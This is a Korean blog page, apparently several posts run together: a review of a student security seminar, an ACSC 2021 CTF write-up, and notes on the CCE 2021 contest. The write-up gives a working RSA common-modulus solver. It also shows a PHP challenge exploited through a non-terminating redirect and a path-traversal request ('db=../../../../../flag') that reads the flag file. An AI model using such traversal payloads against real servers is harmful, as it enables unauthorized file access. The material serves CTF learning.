주관적으로 SW 개발과 비교하여 양질의 보안 세미나가 너무 적다고 생각한다.

그래서 계속 onoffmix나 twitter에 올라오는 세미나는 일단 참여하고 보는데 요번 컨퍼런스도 그랬다.

이 후기는 매우 주관적이기 때문에 객관적으로 세미나가 어떤지를 알고 싶다면 비추천한다.

 

발표자를 살펴보는데 어...? 아래 짤이 생각났다.

보안 업계에서 일하시는 분들이야 뭐 말할 것도 없었고 고등학생분들이나 대학생분들이 SNS나 CTF 대회에서 자주 보던 분들이였다.

 

타켓은 중고등학생과 학부생이였지만 아무래도 중고등학생 분들을 타겟으로 많이 잡으신 것 같았다.

내가 고등학생 때 이런 세미나가 있었다면 얼마나 좋았을 까를 생각하며 현 고등학생 분들이 부러웠지만 또 이러한 세미나를 찾아서 중요한 시간인 학기 중 주말에 시간을 내서 듣고 있다는 걸 생각하면 대단하기도 했다.

 

1부 고등학생 부분에서 참 잊지 못할 일이 하나 있었는데.. 그 분이 후기를 검색할 수 있기 때문에 서술은 생략하겠다.

더보기

내가 동아리에서 가르치는 입장이 되서 수업을 진행했던 적이 있는데 그런 다수를 대상으로 발표해본 적이 없어서 떨렸던 적이 있다.

그 날 끝나고 친절한 분들이 음료수도 사주시고 좋게 끝났는데 너무 긴장한 탓인지 신경이 예민해져서 그 날 너무 힘들었던 기억이 난다.

1부는 참 인상깊었다. 물론 첫 세션이라 제일 텐션이 높았기도 했지만 고등학생 분들이 그 나이때 부터 자기 실력이 객관적으로 뛰어나더라도 엄청 노력을 하고 있고 자기의 장래와 실력향상에 대해 진지하게 고민을 한다는 점이 인상깊었다.

 

2부는 대학생 부분이였는데 중부대 분이 인상깊었다.

내가 가려고 했고 붙었던 대학이기도 했는데  진짜에요

이미지 마스킹 해제 가능해도 오래전꺼라 뭐..

 

그 학교 수업 커리큘럼이나 동아리 문화를 보니 살짝 부러웠다 ㅎㅎ..

동아리 문화는 동아리가 추구하는 방향이란게 있으니 어쩔 수 없지만 내 학교 보안학과에 대해선 안타까움이 너무 많기 때문이다. ... ......

보안업계가 좁다보니 이렇게 저렇게 연이 있는 분이셨는데 내가 동아리 운영관련해서 궁금했던 점에 대해서 컨설팅 해주듯이 잘 조언해주셔서 고마웠다 ㅠㅠ

동아리 방향성에 대해 고민할 때 생각해보아야 겠다.

 

3부는 예측은 했지만 보안업계에 대한 얘기를 해주셨다. 스틸리언 발표자님을 SSL 면접 이후 오랜만에 봐서 반가웠다

4부는 BoB분들이 BoB 팁을 주시는 시간이였다고 생각한다.

후 내년에는 진짜 가고싶은데 ㅠㅠ 진짜 기본기를 쌓고 하기로 했던 하고 있는 했던 연구들에 시간을 더 써서 내것으로 만들어야 겠다...

 

마치 아이돌 팬들이 아이돌 관련 주접을 떨던 트위터 스페이스처럼 마음이 뭔가 포근해지는 시간이였던 것 같다.

나와 비슷한 길을 가는 사람들, 내가 언젠가 볼 사람들, CTF 같은 보안 대회나 SNS에서 "이 사람 대단하다"

라고 하는 "이 사람"들을 만나서 더 그랬던 것 같다.

 

앞으로도 이런 세미나가 많이 있었으면 좋겠다.

우리 동아리도 이렇게 대규모는 아니지만 세미나를 계획하고는 있는데 각자 너무 바뻐서 열심히 날짜를 잡아봐야 겠다.

바빠서 집중은 못한 대회였다 ㅠ.ㅠ

CRYPTO

RSA Stream

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)

"from flag import m" 못 보고 Q&A 했다가 운영진에게 코드를 읽으면 됩니다라는 어디 숨고 싶은 답변을 들었다 ㅠ.ㅠ

로직은 귀찮아 보이지만 핵심은 같은 modulus에 대해 다른 e가 쓰이고 있다는 점이다.

common modulus attack이라고 하는 이 공격법의 핵심은 아래와 같다.

$$ M^k \bmod N * M^l \bmod N = M^{k+l} \bmod N $$

M < N 이기 때문에 k+l 만 1로 만들면 되는 것이다.

a,b 모두 0이 아니므로 베주 항등식을 적용하면 아래와 같이 $ e_1x + e2y = 1 $ 인 값을 찾으면 된다.

여기서는 확장된 유클리드 호제법을 사용하면 좋다.

ax + by = gcd(a,b)
gcd(e_1, e_2) = 1
e_1x + e_2y = 1​

 https://hackmd.io/@syru/Hy2J_ySZu

 

The Extended Euclidean Algorithm - HackMD

# The Extended Euclidean Algorithm $ax+by=\gcd(a,b)$를 만족하는 베주 항등식(Bézout's identity)의 계수(Coefficien

hackmd.io

최종적인 PoC는 다음과 같다.

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from Crypto.Util.Padding import pad

def egcd(a1, a2):
    x1, x2 = 1, 0
    y1, y2 = 0, 1
    while a2:
        q = a1 // a2
        a1, a2 = a2, a1 - q * a2
        x1, x2 = x2, x1 - q * x2
        y1, y2 = y2, y1 - q * y2
    return a1, x1, y1

f = open("chal.py","rb").read()
enc_f = open("chal.enc","rb").read()

n = 
e = 65537

enc_data = []
for a in range(0,len(f),256):
  q = f[a:a+256]
  enc_q = enc_f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  enc_q = bytes_to_long(enc_q)
  c = q ^ enc_q
  enc_data.append((c, e))
  e = gmpy2.next_prime(e)

c1, e1 = enc_data[0]
c2, e2 = enc_data[1]
_, s1, s2 = egcd(e1, e2)
print(long_to_bytes((pow(c1, s1, n) * pow(c2, s2, n)) % n))


사실 이런 유형 문제는 너무너무너무너무 많이 나온 나머지 정리된 포스트가 많다.
내 즐겨찾기에 있는 것을 뒤져보니 여기도 해당 유형이 소개되어있다.
https://myblog.isnt.site/a-year-of-ctf-rsa/

 

A year of CTF RSA | Haven 4 BREAD

1년정도 CTF 뉴비로 있으면서 (아직도 뉴비지만) 겪었던 RSA 문제들의 유형을 대략 정리했습니다.

myblog.isnt.site


최근 SNS를 보면 이런 유형의 RSA는 이제 그만나올법도 되지 않았나라는 말이 있는 것 같다.

후.. 나도 좀 선형대수학 지식 쓰고 행렬 계산하고 bit flip하고 그런 걸 하고 싶지만 말만 한다고 지식이 들어오는 것은 아니니까 하고 있는 프로젝트 들이 마무리 되면 계획 잡고 공부해봐야 겠다.

 

이 문제와 큰 관계는 없지만 RSA 관련해서 읽어보면 좋은 글도 하나 첨부한다.

https://www.secmem.org/blog/2020/07/19/RSA-Puzzles/

 

RSA Puzzles

서론 RSA는 공개키 암호의 일종으로, 공개키를 통해 평문을 암호화할 수 있으며 비밀키를 통해 암호문을 복호화할 수 있습니다. 이 때 비밀키로부터 공개키를 구할 수는 있지만, 공개키로부터 비

www.secmem.org

WEB

API

로그인 페이지를 보고 sqli를 하고 싶어지지만 착하게도 소스코드가 주어져있다.

페이지 로직은 다음과 같다.

1. 회원가입 ( 불친절하게 회원가입 버튼이 없다,,, )
2. 로그인
3. "admin이 아닙니다" 하고 다시 로그인 페이지

...

3번에서 막혔었다.
그래서 삽질하면서 여러가지 가능성을 뒀었다.
1. 굳이 함수로 짜져있는 redirect
2. php loose comparision 취약점
3. 배열을 인자로 넘겨서 acc[2]를 만드는 것
4. Bruteforce

1번이 그 해답이였다.
redirect 메소드 코드는 아래와 같다.

public function redirect($url, $msg=''){
	$con = "<script type='text/javascript'>".PHP_EOL;
	if ($msg) $con .= "\talert('%s');".PHP_EOL;
	$con .= "\tlocation.href = '%s';".PHP_EOL;
	$con .= "</script>".PHP_EOL;
	header("location: ".$url);
	if ($msg) printf($con, $msg, $url);
	else printf($con, $url);
}

철저하게 client side에서 동작하는데 언제나 client side에서 이루어지는 것은 의심해보아야 한다.

challenge 메소드를 확인해보면 redirect 후 끝내는게 아닌 친절하게 c2 파라미터로 받은 것도 확인해준다.

function challenge($obj){
	if ($obj->is_login()) {
		$admin = new Admin();
		if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
		$cmd = $_REQUEST['c2'];
		if ($cmd) {
			switch($cmd){
				case "gu":
					echo json_encode($admin->export_users());
					break;
				case "gd":
					echo json_encode($admin->export_db($_REQUEST['db']));
					break;
				case "gp":
					echo json_encode($admin->get_pass());
					break;
				case "cf":
					echo json_encode($admin->compare_flag($_REQUEST['flag']));
					break;
			}
		}
	}
}

export_db 메소드를 확인해보면

public function export_db($file){
		if ($this->is_pass_correct()) {
			$path = dirname(__FILE__).DIRECTORY_SEPARATOR;
			$path .= "db".DIRECTORY_SEPARATOR;
			$path .= $file;
			$data = file_get_contents($path);
			$data = explode(',', $data);
			$arr = [];
			for($i = 0; $i < count($data); $i++){
				$arr[] = explode('|', $data[$i]);
			}
			return $arr;
		}else 
			return "The passcode does not equal with your input.";
}

db 파라미터의 해당하는 파일을 다운로드 받아주는 것을 알 수 있다.
api 자체는 /db/*.db 를 다운 받는 것을 의도했지만 /db/../../../../../../flag를 통해 flag를 다운받을 수 있다.

그전에 passcode가 필요하기 때문에 아래와 같이 파라미터로 주면 획득할 수 있다.

c=i&c2=gp

'''
HTTP/2 302 Found
...

<scripttype='text/javascript'>
location.href='/api.php?#accessdenied';
</script>
":<vNk"
'''

이 후 상대 경로를 통해 flag를 다운받을 수 있다.

c2=gd&pas=:<vNk&db=../../../../../flag

'''
[
  [
    "ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"
  ]
]
'''

문제 풀이에 지장을 주지는 않지만 apache config 파일의 의도와 다르게 db 파일에 접근이 되는데

그 이유는  docker container 외부 접속 포트로 설정해서 그런 것 이였다.

로컬에서 docker container 내부 서비스 포트로 설정하니 제대로 동작하였다.

'write up' 카테고리의 다른 글

2021 사이버 공격방어대회 (CCE) 후기 ( 아직 쓰는중 )  (0) 2021.09.26
2021 Whitehat Contest 후기  (2) 2021.09.13
애매하게 아는 것은 모르는 것과 크게 다르지 않다.

23일에서야 선배의 연락을 받고 대회를 알게 되어 마감 직전에 신청한 준비를 제일 못한 대회였다.

CCE 라고 해서 처음 보는 대회라고 생각했는데 작년 군대 사지방에서도 참여했던 사이버 공격방어대회였다.

그 때 기억으로 이 대회의 특징은 하 난이도 문제를 내주며 포렌식이 많다는 것이였다.

SSTI 나 Prototype Pollution 가 나올 것 같아서 새벽에 잠깐 보고 잤는데 말 머리에 쓴대로 잠깐 본건 아무 의미 없었다.

 

해결

  • WEB
    • Search king
      • 검색에 SQLi를 시도했으나 성공적이지 못했으나 제목, 글쓴이에 없는데 자료가 검색된걸 보고 아 범위에 내용이 존재하는 것을 파악해 script 짜서 돌리면 된다.
  • CRYPTO
    • ROX
      • key[_%7] 코드로 키 길이가 7임을 유추할 수 있다. FLAG Format이 cce2021{~~}임을 이용하여 'cce2021' 와 key^'cce2021' 상태인 암호화된 데이터를 xor 연산하면 key를 얻을 수 있다.

미해결

 

  • CRYPTO
    • TES
      • 처음에 AES만 보고 아 이거 padding oracle 또 낸건가 하고 바로 풀 수 있겠다라는 기대감에 시작했다.
      • 정작 padding oracle attack을 공부 해본적은 없는 상황에서..
      • 로직 분석 및 삽질기는 내일 풀면서 이어 쓰겠다.
  • WEB
    • prototype pollution 대잔치였지만 내가 알지 못하였다.
  • REV
    • Read_For_Me
      • wasm 코드를 해석해야 하는 문제여서 wasm2c나 wasm2js로 돌아다니는 것들을 써봤는데 잘 안됬다...
      • 알고보니 console에서 function call을 통해 해결할 수 있었다.

지금은 졸리니 좀 자고 미해결 문제 ( TES 최 우선 !!!!! ) 와 코드로 로컬에 구축할 수 있는 문제는 다시 풀어봐야겠다.

문제 퀄리티는 만족스러웠다.

 

개인적으로 화이트 햇 때 어려운거 ( 사실 귀찮은 것이라고 해야 될 것 같다. ) 맞추고 근거없이 높아진 자만을 낮추는 좋은 계기가 된 것 같다.

 

'write up' 카테고리의 다른 글

ACSC 2021 CTF 후기  (0) 2021.09.26
2021 Whitehat Contest 후기  (2) 2021.09.13

+ Recent posts